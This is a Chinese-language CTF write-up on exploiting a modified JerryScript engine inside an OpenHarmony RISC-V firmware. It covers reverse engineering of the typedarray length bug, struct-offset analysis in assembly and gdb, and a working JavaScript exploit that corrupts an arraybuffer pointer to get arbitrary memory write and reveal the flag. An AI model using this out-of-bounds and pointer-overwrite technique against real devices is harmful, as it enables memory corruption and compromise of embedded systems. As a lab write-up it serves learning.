riscv架构 启动脚本要加-bios none
给了一个elf,启动后通过内嵌的jerryscript执行js代码,需要利用其中存在的漏洞改写全局变量debug值不为空获得flag
void __noreturn OsIdleTask() { while ( 1 ) { OsRecycleFinishedTask(); if ( PmEnter ) PmEnter(); else ArchEnterSleep(); if ( debug ) { _wrap_printf("Debug mode is enabled, check challenge setting: %s\n", &aSDMemoryCheckE_1[-1148]); fflush(*(impure_ptr + 2)); } } }
找到对应版本,获得源码 https://gitee.com/openharmony/third_party_jerryscript
.text:802FD2C8 aOpenharmony40B:.string 'OpenHarmony 4.0 Beta1',0
发现历史漏洞CVE-2020-22597漏洞代码没有修复
使用jerry官方针对漏洞给出的测试代码测试时,发现不对劲,之后误打误撞发现了创建的typedarray数组长度有问题
// Copyright JS Foundation and other contributors, http://js.foundation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Make sure that TypedArray filter correctly copies the data (avoid overflow). // Test creates a smaller region for "output" TypedArray. // Last number is intentionally a "big" float. var big_array = new Float64Array([0.523565555, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 333333232134.1]); big_array.constructor = Float32Array; var result_float32_array = big_array.filter(x => x % 2 == 0); assert(result_float32_array instanceof Float32Array); assert(result_float32_array.length === 5); // Create an even smaller result TypedArray. big_array.constructor = Uint8Array; var result_uint8_array = big_array.filter(x => x % 3 == 0); assert(result_uint8_array instanceof Uint8Array); assert(result_uint8_array.length === 3); // Trigger a filter error when at the last element try { big_array.filter(function(x, idx) { if (idx > 10) { throw new Error("Error test magic"); } return x % 4 == 0; }); } catch (ex) { assert(ex instanceof Error); assert(ex.message === "Error test magic");
OHOS # eval Max length: 1024 End with 'EOF' Content: let array = new Uint32Array(0x1000); print(array.length.toString(16)); EOF 4000
找到源码中获取typedarray长度函数ecma_typedarray_get_length
/** * Get the array length of the typedarray object * * @return the array length */ ecma_length_t ecma_typedarray_get_length (ecma_object_t *typedarray_p) /**< the pointer to the typedarray object */ { JERRY_ASSERT (ecma_object_is_typedarray (typedarray_p)); ecma_extended_object_t *ext_object_p = (ecma_extended_object_t *) typedarray_p; if (ext_object_p->u.pseudo_array.type == ECMA_PSEUDO_ARRAY_TYPEDARRAY) { ecma_object_t *arraybuffer_p = ecma_get_object_from_value (ext_object_p->u.pseudo_array.u2.arraybuffer); ecma_length_t buffer_length = ecma_arraybuffer_get_length (arraybuffer_p); uint8_t shift = ecma_typedarray_get_element_size_shift (typedarray_p); return buffer_length >> shift; } ecma_object_t *arraybuffer_p = ecma_typedarray_get_arraybuffer (typedarray_p); if (ecma_arraybuffer_is_detached (arraybuffer_p)) { return 0; } ecma_extended_typedarray_object_t *info_p = (ecma_extended_typedarray_object_t *) ext_object_p; return info_p->array_length; } /* ecma_typedarray_get_length */
对比题目中该函数实现
ecma_length_t __cdecl ecma_typedarray_get_length(ecma_object_t *typedarray_p) { ecma_object_t *arraybuffer_p; // [sp+20h] [-30h] ecma_length_t buffer_length; // [sp+24h] [-2Ch] ecma_object_t *arraybuffer_p_0; // [sp+2Ch] [-24h] ecma_length_t buffer_length_0; // [sp+30h] [-20h] if ( LOBYTE(typedarray_p[1].type_flags_refs) == 1 ) { arraybuffer_p_0 = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp); buffer_length_0 = ecma_arraybuffer_get_length(arraybuffer_p_0); ecma_typedarray_get_element_size_shift(typedarray_p); return buffer_length_0; } else { arraybuffer_p = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp); buffer_length = ecma_arraybuffer_get_length(arraybuffer_p); if ( ecma_arraybuffer_is_detached(arraybuffer_p) ) return 0; else return buffer_length; } }
发现漏洞点,获取typedarray长度时,原本会根据数据类型右移,获得数组长度。题目中删掉了右移操作,造成存在数组越界
另外还发现题目删去了DataView类型,以前碰到jerry都是arraybuffer+dataview组合拳
聚焦typedarray结构,在ecma-global.h文件中定义了结构体,各种类型的结构以union的形式定义在同一个结构中,typedarray(如Uint32Array)定义部分如下,union部分对应pseudo_array
/** * Description of extended ECMA-object. * * The extended object is an object with extra fields. */ typedef struct { ecma_object_t object; /**< object header */ /** * Description of extra fields. These extra fields depend on the object type. */ union { ecma_built_in_props_t built_in; /**< built-in object part */ /** * Description of pseudo array objects. */ struct { uint8_t type; /**< pseudo array type, e.g. Arguments, TypedArray, ArrayIterator */ uint8_t extra_info; /**< extra information about the object. * e.g. the specific builtin id for typed arrays, * [[IterationKind]] property for %Iterator% */ union { ecma_value_t lex_env_cp; /**< for arguments: lexical environment */ ecma_value_t arraybuffer; /**< for typedarray: internal arraybuffer */ ecma_value_t iterated_value; /**< for %Iterator%: [[IteratedObject]] property */ ecma_value_t spread_value; /**< for spread object: spreaded element */ } u2; } pseudo_array; ecma_external_handler_t external_handler_cb; /**< external function */ } u; } ecma_extended_object_t;
arraybuffer指针即实际指向数据的指针,考虑通过越界修改该指针实现任意地址写
分析对一个uint32array数组内容进行赋值时的逻辑,走到
ecma_set_typedarray_element (info.buffer_p + byte_pos, num_var, info.id);
uint32_t array_index = ecma_string_get_array_index (property_name_p); if (array_index != ECMA_STRING_NOT_ARRAY_INDEX) { ecma_number_t num_var; ecma_value_t error = ecma_get_number (value, &num_var); if (ECMA_IS_VALUE_ERROR (error)) { jcontext_release_exception (); return ecma_reject (is_throw); } ecma_typedarray_info_t info = ecma_typedarray_get_info (object_p); if (array_index >= info.length) { return ecma_reject (is_throw); } ecma_length_t byte_pos = array_index << info.shift; ecma_set_typedarray_element (info.buffer_p + byte_pos, num_var, info.id); /* here */ return ECMA_VALUE_TRUE; }
函数根据具体数据类型进不同的赋值函数
/** * set typedarray's element value */ inline void JERRY_ATTR_ALWAYS_INLINE ecma_set_typedarray_element (lit_utf8_byte_t *dst_p, ecma_number_t value, ecma_typedarray_type_t typedarray_id) { ecma_typedarray_setters[typedarray_id](dst_p, value); } /* ecma_set_typedarray_element */
/** * List of typedarray setters based on their builtin id */ static const ecma_typedarray_setter_fn_t ecma_typedarray_setters[] = { ecma_typedarray_set_int8_element, /**< Int8Array */ ecma_typedarray_set_uint8_element, /**< Uint8Array */ ecma_typedarray_set_uint8_clamped_element, /**< Uint8ClampedArray */ ecma_typedarray_set_int16_element, /**< Int16Array */ ecma_typedarray_set_uint16_element, /**< Int32Array */ ecma_typedarray_set_int32_element, /**< Uint32Array */ ecma_typedarray_set_uint32_element, /**< Uint32Array */ ecma_typedarray_set_float_element, /**< Float32Array */ #if ENABLED (JERRY_NUMBER_TYPE_FLOAT64) ecma_typedarray_set_double_element, /**< Float64Array */ #endif /* ENABLED (JERRY_NUMBER_TYPE_FLOAT64) */ };
最终就是执行memcpy完成赋值
/** * Write an uint32_t value into the given arraybuffer */ static void ecma_typedarray_set_uint32_element (lit_utf8_byte_t *dst_p, /**< the location in the internal arraybuffer */ ecma_number_t value) /**< the number value to set */ { uint32_t num = (uint32_t) ecma_typedarray_setter_number_to_uint32 (value); memcpy (dst_p, &num, sizeof (uint32_t)); } /* ecma_typedarray_set_uint32_element */
观察反汇编代码,发现在下面位置获取到了uint32array的各结构信息:
ecma_typedarray_get_info(&property_ref, object_pa);
对应源码如下,ecma_typedarray_get_arraybuffer获取指针 但是直接看源码不是很好定位偏移,并且ecma_get_object_from_value()函数最终将结构体存储的指针进行解压缩等处理 还原为真实指针
/** * Method for getting the additional typedArray informations. */ ecma_typedarray_info_t ecma_typedarray_get_info (ecma_object_t *typedarray_p) { ecma_typedarray_info_t info; info.id = ecma_get_typedarray_id (typedarray_p); info.length = ecma_typedarray_get_length (typedarray_p); info.shift = ecma_typedarray_get_element_size_shift (typedarray_p); info.element_size = (uint8_t) (1 << info.shift); info.offset = ecma_typedarray_get_offset (typedarray_p); info.array_buffer_p = ecma_typedarray_get_arraybuffer (typedarray_p); info.buffer_p = ecma_arraybuffer_get_buffer (info.array_buffer_p) + info.offset; return info; } /* ecma_typedarray_get_info */ /** * Get the arraybuffer of the typedarray object * * @return the pointer to the internal arraybuffer */ inline ecma_object_t * JERRY_ATTR_ALWAYS_INLINE ecma_typedarray_get_arraybuffer (ecma_object_t *typedarray_p) /**< the pointer to the typedarray object */ { JERRY_ASSERT (ecma_object_is_typedarray (typedarray_p)); ecma_extended_object_t *ext_object_p = (ecma_extended_object_t *) typedarray_p; return ecma_get_object_from_value (ext_object_p->u.pseudo_array.u2.arraybuffer); } /* ecma_typedarray_get_arraybuffer */
里面大概是右移3位由左移3位和&0x8效果类似 但是还有一堆杂七杂的的宏不想写了
直接看反汇编和汇编
这里typedarray_p对应下面地址0x806a3628,即结构体开头
info = ecma_get_object_from_value(*&typedarray_p[1].u1.property_list_cp); buffer = ecma_arraybuffer_get_buffer(info);
经过编译优化,ecma_get_object_from_value()如下
ecma_object_t *__cdecl ecma_get_object_from_value(ecma_value_t value) { return (value & 0xFFFFFFF8); }
接着计算出info位置,就是取指针typedarray_p+0xc的值,即0x806a369b
.text:801C3B56 lw a5, -8+typedarray_p(s0) .text:801C3B5A sw a5, -8+var_2C(s0) .text:801C3B5E lw a5, -8+var_2C(s0) .text:801C3B62 sw a5, -8+var_28(s0) .text:801C3B66 lw a5, -8+var_28(s0) .text:801C3B6A lw a5, 0Ch(a5) .text:801C3B6C mv a0, a5 .text:801C3B6E jal ecma_get_object_from_value
ecma_get_object_from_value()如下 这里会走第二个分支
lit_utf8_byte_t *__cdecl ecma_arraybuffer_get_buffer(ecma_object_t *object_p) { if ( (object_p[1].gc_next_cp & 1) != 0 ) return *&object_p[2].type_flags_refs; else return &object_p[2]; }
接着看汇编, 前面在开辟栈空间及存放canry, 801B28C2 取出标志位 判断不为1,跳转801B28DA 后续将指针+0x10存入a0寄存器作为返回值返回
.text:801B289E addi sp, sp, -30h .text:801B28A0 sw ra, 28h+var_s4(sp) .text:801B28A2 sw s0, 28h+var_s0(sp) .text:801B28A4 addi s0, sp, 28h+arg_0 .text:801B28A6 sw a0, -8+object_p(s0) .text:801B28AA lw a5, __stack_chk_guard .text:801B28B2 sw a5, -8+var_C(s0) .text:801B28B6 lw a5, -8+object_p(s0) .text:801B28BA sw a5, -8+ext_object_p(s0) .text:801B28BE lw a5, -8+ext_object_p(s0) .text:801B28C2 lhu a5, 0Ah(a5) .text:801B28C6 andi a5, a5, 1 .text:801B28C8 beqz a5, loc_801B28DA ... ... loc_801B28DA: # CODE XREF: ecma_arraybuffer_get_buffer+2A↑j .text:801B28DA lw a5, -8+ext_object_p(s0) .text:801B28DE addi a5, a5, 10h .text:801B28E0 .text:801B28E0 loc_801B28E0: # CODE XREF: ecma_arraybuffer_get_buffer+3A↑j .text:801B28E0 mv a0, a5 .text:801B28E2 lui a5, %hi(__stack_chk_guard) .text:801B28E6 lw a4, -8+var_C(s0) .text:801B28EA lw a5, %lo(__stack_chk_guard)(a5) .text:801B28EE beq a4, a5, loc_801B28F6 .text:801B28F2 jal __stack_chk_fail
所以可以得到结构体地址与真实arraybuffer指针关系为
( 0x806a369b&0xfffffff8)+0x10
断点下到ecma_typedarray_get_info处调试 内存信息如下 和上文分析对应
pwndbg> x/30wx 0x806a3628 0x806a3628: 0x00430063 0x00280000 0x00e70601 0x806a369b ... pwndbg> x/wx ( 0x806a369b&0xfffffff8)+0x10 0x806a36a8: 0xdeadbeef
exp
构造如下,需要两个uint32array中间加一个pad,避免两个结构体连在一起造成arraybuffer在array2结构体下方导致无法覆盖的情况
let array = new Uint32Array(0x1000); pad = [1,2,3,4] let array2 = new Uint32Array(0x10); array[0] = 0xdeadbeef; array2[0] = 0x41414141; array[4135] = 0x8031fc8c; array2[1] = 1;
OHOS # eval Max length: 1024 End with 'EOF' Content: let array = new Uint32Array(0x1000); pad = [1,2,3,4] let array2 = new Uint32Array(0x10); array[0] = 0xdeadbeef; array2[0] = 0x41414141; array[4135] = 0x8031fc8c; array2[1] = 1; EOF OHOS # Debug mode is enabled, check challenge setting: flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}